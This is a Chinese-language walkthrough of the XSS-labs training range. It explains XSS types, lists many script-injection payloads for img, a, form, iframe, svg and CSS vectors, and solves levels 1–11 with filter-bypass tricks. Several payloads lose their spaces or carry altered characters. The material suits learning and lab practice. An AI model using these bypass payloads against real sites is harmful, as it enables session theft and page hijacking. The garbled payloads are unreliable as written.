XSS-labs靶场通关
前置知识
什么是XSS?
XSS全称跨站脚本,是一种将任意Java代码插入到其他Web用户页面中执行以达到攻击目的的漏洞
具体表现为利用浏览器的动态展示数据功能在HTML页面里嵌入恶意代码,当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等
XSS攻击有哪几种?
1.反射型(一次性攻击)
常见注入点:网站的搜索栏、用户登录入口、输入表单等地方
常用来窃取客户端Cookie或钓鱼欺骗
测试:在网站的搜索栏、用户登录入口、输入表单等处输入payload,查看页面是否有弹框,则存在反射型XSS漏洞
2.存储型(持久性攻击)
常见注入点:论坛、博客、留言板、网站的留言、评论、日志等交互处
测试:在论坛、博客、留言板、网站的留言、评论、日志等交互处输入payload,查看页面是否有弹框。若有,先切换至网站其他页面,再返回输入payload的页面,若依旧出现弹窗,则存在存储型XSS漏洞
3.DOM型
DOM是文档对象模型的缩写,它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口
使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式
DOM型的XSS是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击,并且基于JS上的,不需要与服务器进行交互
是客户端脚本本身解析不正确导致的安全问题
常见注入点:通过js脚本对文档对象进行编辑,从而修改页面的元素
4.MXSS(突变型)
一串看似没有问题的代码逃过XSS的检测进入某个DOM节点中,浏览器的渲染引擎将它渲染成具有潜在危险的XSS代码
5.UXSS(通用型)
UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型
常见漏洞点
数据交互的地方
GET、POST、Cookies、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
数据输入的地方
用户资料
关键词、标签、说明
文件上传
常见的触发标签
无过滤:
<script>alert("xss");</script>
解释:
script:在 HTML 中,<script> 标签用于嵌入或引用 JavaScript 代码
它告诉浏览器,标签内部的内容是 JavaScript 脚本,需要由浏览器的 JavaScript 引擎进行解析和执行
alert():JavaScript 中的一个内置函数,用于弹出一个警告框。这个函数接受一个字符串作为参数,并在警告框中显示该字符串的内容
"xss":传递给alert的参数
</script>:
这是结束 <script> 标签的标记,表示 JavaScript 代码块的结束
常见payload:
<script>alert(1)</script> // 调用JavaScript语句
<img src=x onerror=alert(1)> // src是错误的 就会调用error函数
<a href=javascript:alert(1)> // 点击a即可触发
<svg onload=alert(1)> // 使用svg标签
<img>标签:
正常情况下,<img>
标签的 src
属性用于指定图片资源的路径
可以利用 HTML 标签的属性来注入和执行 JavaScript 代码,以实现 XSS 攻击
<imgsrc=javascript:alert(“xss”)>
<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
#IMGSRC 虽然字母大小写与标准的 src 不同,但 HTML 对标签和属性的大小写不敏感,所以它等同于 src
String.fromCharCode()接受 Unicode 编码值作为参数,并返回对应的字符,这里 88、83、83 分别对应字符 X、S、S,alert 函数会弹出警告框显示 “XSS”
<imgsrc=”URL”style=’Xss:expression(alert(/xss));’
#src 属性指定图片的 URL,style 属性用于设置元素的样式
利用 expression() 执行 alert(/xss); 代码,弹出包含 “xss” 相关内容的警告框。不过这种利用方式主要针对旧版 IE 浏览器,现代浏览器已不支持这种危险的 expression() 用法
<imgsrc=”x”onerror=alert(1)>
#<img> 标签的 src 属性设置为 “x”,这是一个无效的图片路径,会导致图片加载失败
onerror 是 HTML 元素的一个事件属性,当元素(这里是图片)加载失败时会触发该事件
onerror=alert(1) 表示当图片加载失败时,执行 alert(1) 代码,弹出警告框显示“1”
<imgsrc=”1″onerror=eval(“alert(‘xss’)”)>
#和上一个相似,不过这里多了一个eval函数,将后面的字符串作为 JavaScript 代码进行执行
<imgsrc=1onmouseover=alert(‘xss’)>
#onmouseover 是 HTML 元素的一个事件属性,当鼠标指针移动到元素(这里是图片)上时会触发该事件
<img src=1 onmouseout="alert(1)">
#鼠标指针移出时触发
<a>标签
<a>标签,即超链接标签,是 HTML 中用于创建超链接的元素
href
属性指定了链接的目标地址
<ahref=”https://www.baidu.com”>baidu</a>
<ahref=”javascript:alert(‘xss’)”>aa</a>
//用户点击连接时,浏览器直接执行alert('xss')代码
<ahref=javascript:eval(alert(‘xss’))>aa</a>
<ahref=”javascript:aaa”onmouseover=”alert(/xss/)”>aa</a>
<ahref=””onclick=eval(alert(‘xss’))>aa</a>
//href 属性设置为空字符串 "",表示点击这个链接时不会跳转到其他页面
<ahref=kycg.asp?ttt=1000onmouseover=prompt(‘xss’)y=2016>aa</a>
<input>标签
<input>
标签是 HTML 中用于创建输入控件的元素
<inputvalue=””onclick=alert(‘xss’)type=”text”>
//value="" 设置了输入框的初始值为空字符串,type="text" 表示创建一个文本输入框
<inputname=”name”value=””onmouseover=prompt(‘xss’)bad=””>
//name="name" 为输入框指定了一个名称,在表单提交等场景中用于标识该输入字段
prompt 函数会弹出一个带有输入框的对话框,并在对话框中显示文本 “xss”
<inputname=”name”value=””><script>alert(‘xss’)</script>
//<input name="name" value=""> 创建了一个名称为 “name”、初始值为空的输入框
<form>标签
<form>
标签用于创建 HTML 表单,用户可以在表单中输入数据并提交
action
属性指定了表单数据提交的目标地址
method=post
表示表单数据提交的方式为 POST 方法,数据会通过 HTTP 请求的 body 部分进行传输
method="get"
表示表单数据提交的方式为 GET 方法,即数据会附加在 URL 后面进行传输
<formaction=javascript:alert(‘xss’)method=”get”>
<formaction=javascript:alert(‘xss’)>
<formmethod=postaction=aa.asp?onmouseover=prompt(‘xss’)>
<formmethod=postaction=aa.asp?onmouseover=alert(‘xss’)>
<formaction=1onmouseover=alert(‘xss)>
<formmethod=postaction=”data:text/html;base64,<script>alert(‘xss’)</script>”>
//action 的值使用了 data: 协议,data:text/html;base64,<script>alert('xss')</script> 表示将后面的内容作为一个内联的 HTML 数据
<formmethod=postaction=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
//PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 解码后为 <script>alert('xss')</script>。当表单提交时,浏览器加载这个内联的 HTML 数据,会执行其中的 JavaScript 代码,弹出显示 “xss” 的警告框
<iframe>标签
<iframe>
标签:用于在当前 HTML 页面中嵌入另一个 HTML 页面
<iframe src="javascript:alert('xss');" height="5" width="1000"></iframe>
//height=5 和 width=1000:分别设置了 <iframe> 的高度为 5 像素,宽度为 1000 像素
<iframesrc=”data:text/html,<script>alert(‘xss’)</script>”></iframe>
//data:text/html 表明数据类型是 HTML 文本
<script>alert('xss')</script> 是经过 HTML 实体编码的 JavaScript 代码,解码后为 <script>alert('xss')</script>
<iframesrc=”data:text/html;base64,<script>alert(‘xss’)</script>”>
//data:text/html;base64 表示数据类型为 HTML 且经过 Base64 编码
<iframesrc=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
//PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 是经过 Base64 编码的字符串,解码后为 <script>alert('xss')</script>。当 <iframe> 加载时,会执行该 JavaScript 代码,弹出警告框显示 “xss”
<iframe src="aaa" onmouseover="alert('xss')"></iframe>
<iframesrc=”javascript:prompt(xss)”></iframe>
<svg>标签
SVG 是一种基于 XML 的文件格式,用于描述二维矢量图形
onload
是一个事件处理属性,它可以被添加到许多 HTML 和 SVG 元素上。当元素完成加载时,会触发 onload
事件,并执行与之关联的 JavaScript 代码
<svgonload=alert(1)>
CSS
利用 CSS 的 background-image
属性加载一个基于 javascript:
伪协议的资源,从而执行恶意的 JavaScript 代码,弹出一个显示 “XSS” 的警告框
STYLE
属性用于为 HTML 元素添加内联样式。通过这个属性,我们可以直接在 HTML 标签中定义元素的外观和行为
background-image
是 CSS 中的一个属性,用于设置元素的背景图像
<img STYLE=”background-image:url(javascript:alert(‘XSS’))”>
靶场通关
level1
代码解释
题解
直接插入一段js代码,get传参即可
?name=<script>alert('666')</script>
level2
源码解释
htmlspecialchars
函数用于将特殊的 HTML 字符转换为 HTML 实体,以防止这些字符被浏览器解析为 HTML 标签。例如,<
会被转换为 <
,>
会被转换为 >
等
题解
源代码中第一个test进行了html实体转义,但是第二个没有,需要我们闭合掉value的双引号
"> <script>alert('666')</script> <"
成功了,我们来看看此时的源码
level3
源码解析
题解
从源码可以看出来,这题的字符串(包括符号)全部都被HTML实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化
利用onfocus事件绕过
' onfocus=javascript:alert('666') '
传入payload之后再点击输入框触发onfocus就可以
level4
源码解析
题解
这里过滤了<>,且使用“闭合
像上一题一样,然后将闭合方式改为”即可
" οnfοcus=javascript:alert(666) "
level5
源码解释
题解
查看源码,过滤了一堆东西
但是可以用<a>标签,同时注意这里是双引号闭合
"> <a href=javascript:alert(1)>666</a><"
level6
先看看源码,依旧是过滤了一堆
但是和上一题不一样的是这题没有转小写,可以直接用大小写过滤
"><scripT>alert(1)</Script>
level7
查看源码,过滤了一堆东西,然后赚了小写,就排除了大小写绕过的可能
虽然过滤的很多,但是只过滤了一次,我们可以双写来绕过,也就是说第一次过这个程序的时候它被替换了,然后就上传了,不会被替换第二次了
"> <a hrhrefef=javascscriptript:alert(1)>666</a>
level8
查看源码
转小写,过滤了script,on,src,data,href,将双引号替换为html实体
处理后的字符传进了href,作为友情链接的 URL 显示在页面
a标签的href会自动进行unicode编码
要把payload先加密再上传,就相当于前面的所有过滤都不管用了直接传到最后一步
javascript:alert(1)
level9
查看源码,和上一题一样,又是友情链接,过滤内容和上一题一样,也经过了大小写转换
和上一题不同的是这里多了一个检查,如果传入的URL中没有“http://”的话就说我的链接不合理
通过源代码可知,我们先向传入的值里面添加http://然后再将其用注释符注释掉即可
注释符:/* */
javascript:alert(1)/* http:// */
level10
看看源码
这个有点抽象的就是他用了两个get传参,乍一看还只显示了keyword的传参,但是后面进行处理和上传的都是t_sort
过滤了<>,但是还是能用onfocus事件
?t_sort=" οnfοcus=javascript:alert() type="text
level11
$_SERVER
是 PHP 中的一个超全局变量,它是一个包含了诸如头信息、路径、脚本位置等多种服务器和执行环境信息的数组。超全局变量意味着在 PHP 脚本的任何作用域内都可以直接使用,无需声明
HTTP_REFERER
是 $_SERVER
数组中的一个键,它记录了发送当前 HTTP 请求的页面的 URL。也就是说,当用户从页面 A 点击链接或表单提交等操作跳转到当前页面时,HTTP_REFERER
会记录下页面 A 的 URL
依旧是进行了两个GET传参,过滤了< >,但是有这句$str11=$_SERVER['HTTP_REFERER'];,所以不管我用的是哪个GET传参都可以